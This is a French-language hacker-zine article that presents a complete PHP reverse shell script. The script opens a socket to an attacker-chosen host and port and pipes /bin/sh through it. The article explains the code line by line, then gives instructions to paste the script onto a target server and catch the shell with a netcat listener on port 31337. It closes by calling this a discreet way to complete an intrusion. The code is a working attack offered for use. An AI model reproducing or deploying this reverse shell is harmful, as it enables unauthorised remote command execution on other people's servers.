________________________________________________________________ ____ __ __ / ___________________________________________________________ ____ __ _ / ` \ / \[12]/ + ,\_____ ___/ . ` |\/ , \__/ . \____ /:/=[ un affaire de reverse shell ] =\:\ _____/ ` x || , . " :X \_______________________________ ____ ____ / , ` ` || + , () . x , . ` ' ` \_ \ ,\\_ +\_ \ 'M ` | . || ` | ` , ` , + , ` ,--, + . \\_ \_ \ , \\_ K -+- / |+ -+- . , ` , ,',/ ,'. \_ \ . \\_ \_ \ - | ` / . | ; + + . ` | : . :`` ,_): ' ` \\_ \_ \ \\_` 1 , / ` . . x , .-=+=- `. ,. ,' ` , \_ \ + \\_` \_ \ 1 /\_____ x ' , . . X | ` `--' ` ` \\_ \_ \ , \\_ 1 + \\_ \___________________ , . . ` , + ' , , ; x ._\ \___\\___\ \ . \_ \ \__________________________________/ \ ` , \\_ /:/=[ Aka: ]=\:\ \ \__\__________________________________________ ______________________________ \` \__\ /__/ \\_ /:/=[ __2 ]=\:\ _// \__\________________________/__/ Depuis des temps immémoriaux, l'homme a essayé, a plusieurs reprise (non sans peine) de comprendre d'ou venait son ombre...Avec un intérêt beaucoup moindre, voici une des solutions a un problème d'un tout autre ordre, j'ai nommé: Comment ouvrir un reverse shell a partir d'un simple script PHP sans avoir a utiliser un logiciel tierce ? Il existe présentement une quantité incroyable de solutions (la majorité, si ce n'est la totalité) utilisant des pseudo-shells "one time", je m'explique: un script PHP exécutant par exemple shell_exec() et retournant le résultat via une page WEB dans un browser (tel que Firefox ou IE. Cette solution est très basique et ne permet pas l'utilisation de programmes plus complexes comme "vi" ou "lynx". J’entends par complexe le fait que les applications, nommées précedement, ont la fâcheuse tendance de nécessitées une interaction continue avec leur utilisateur. Le logiciel ne sort pas après son exécution, mais nécessite par contre un CTRL-C pour terminer. Il y a aussi le fait d'avoir à taper dans un formulaire HTML pour faire exécuter des commandes qui brise un peu l'ambiance kitch du bon vieux shell en console. Et que pourrais bien en penser les voisins? Pour régler le problème il faut donc être capable de lire le résultat d'une application et de lui écrire (envoyer du contenu), on parle alors de transmission full-duplex. Le problème étant qu'a priori PHP n'offrait pas ce genre de fonctionnalités, jusqu’a récemment avec la venu de PHP 4.3.0 et 5. Les nouvelles fonctionnalités sont donc arrivez sous la forme de la fonction "stream_select", qui est une copie conforme du bon vieux select() en C, on peut donc faire du "IO multiplexing" via PHP. Lire le contenu d'un socket ou d'un processus ne cause plus un blocage complet du script PHP :) Dans le cas ou ces fonctionnalités ne soient pas disponibles, la méthode efficace aurait pris la forme d'un module PHP programmer en C contenant ce que vous auriez bien voulu charger durant l'exécution du script via la fonction "dl()". Revenons à nos moutons, voici le code, permettant de faire ce que je viens d'écrire, expliqué ligne par ligne pour vous, les nombreux (Sarcasme) lecteurs. Les instructions sont justes après le code: --------------------------------SNIP HERE-------------------------------------------------
"; // a afficher un die("
Hostname: // formulaire // demandant le Port: // hostname // et le port ou
"); // envoyer le shell } set_time_limit(0); // on désactive la limite en temps pour que le shell puisse rouler // le temps nécessaire. // on ouvre un socket vers le host qui recevra le shell $socket = fsockopen($_POST["hostname"],$_POST["port"],$errno,$errstr,10); if (!$socket) die("Unable to connect"); // La partie qui suit invoque /bin/sh $descriptorspec = array( 0 => array("pipe", "r"), // STDIN 1 => array("pipe", "w"), // STDOUT 2 => array("pipe", "r") // STDERR ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); if (is_resource($process)) { // si cest valide while(1) { $tocheck = array($pipes[1],$pipes[2],$socket); // l'array contenant les descriptors // a verifier, soit: STDIN,STDERR et SOCKET // On multiplexe et on verifie quels sont les descripteurs qui ont besoin d'etre gerer. // Quand cela se produit on "forward" les donnees tout simplement. $int = stream_select($tocheck,$a =NULL,$b = NULL,0); if (in_array($pipes[1],$tocheck)) { $input = fread($pipes[1],4999); if (strlen($input)==0) die("No more joy (Software exists?)"); fwrite($socket,$input); } if (in_array($pipes[2],$tocheck)) { $input = fread($pipes[2],4999); if (strlen($input)==0) die("No more joy"); fwrite($socket,$input); } if (in_array($socket,$tocheck)) { $input = fread($socket,4999); if (strlen($input) == 0) die("No more joy, client left"); fwrite($pipes[0],$input); } } } die(); ?> --------------------------------SNIP HERE------------------------------------------------- How fulfilling, du beau code PHP. Maintenant passons aux explications: Pour utiliser ce code, copier-coller le sur le serveur cible. Installer netcat sur votre PC, si vous etes sous BSD ou Linux c’est très standard sinon (pour Windows): ftp://ftp.dbnet.ece.ntua.gr/pub/users/george/nc.exe Lancer: nc.exe -l -p 31337 (le port 31337 peut être remplacer par ce que vous voulez). Le serveur WEB contenant votre shell script se connecter sur votre machine au port voulu. Assurez-vous donc de ne pas avoir de firewall qui veut rien savoir de laisser la connexion passer. Une fois netcat lancer, ouvrer le script PHP via un browser tel que FireFox, IE, Galleon, Epiphany, ou n’importe quel autre fork de gecko/mozilla. Dans la page web entrer votre IP et le PORT choisi, cliquez sur GO et voila, vous avez un beau shell "nobody" très kitch. A noter que vous ne verrez pas le shell prompt, donc vous devez taper les commandes dans le vide. J'aurais bien aimé vous offrir mieux, mais netcat est un logiciel beaucoup trop dumb pour supporter un vrai terminal telnet :) Si quelqu'un met la main sur un telnet listener qui a du sens, faite moi signe. En conclusion, si vous etes encore la, c'est une façon simple et pratique qui est quand même assez dissimuler de menez a bien votre intrusion. A noter que cela ne fonctionnera pas si: - Le serveur est CHROOTED (of course) - La version de PHP est trop vieille (<4.3.0) - La configuration de php.ini désactive l'utilisation de proc_open ou de fsockopen En terminant, sur toutes les versions < 5.0 il semblerait que STDERR n'est pas rediriger convenablement. Détail mineur, mais ça peut être pratique d'avoir les erreurs. Sur ce, bon plaisir. __2.psychadelic-toasters-dont-like-white-bread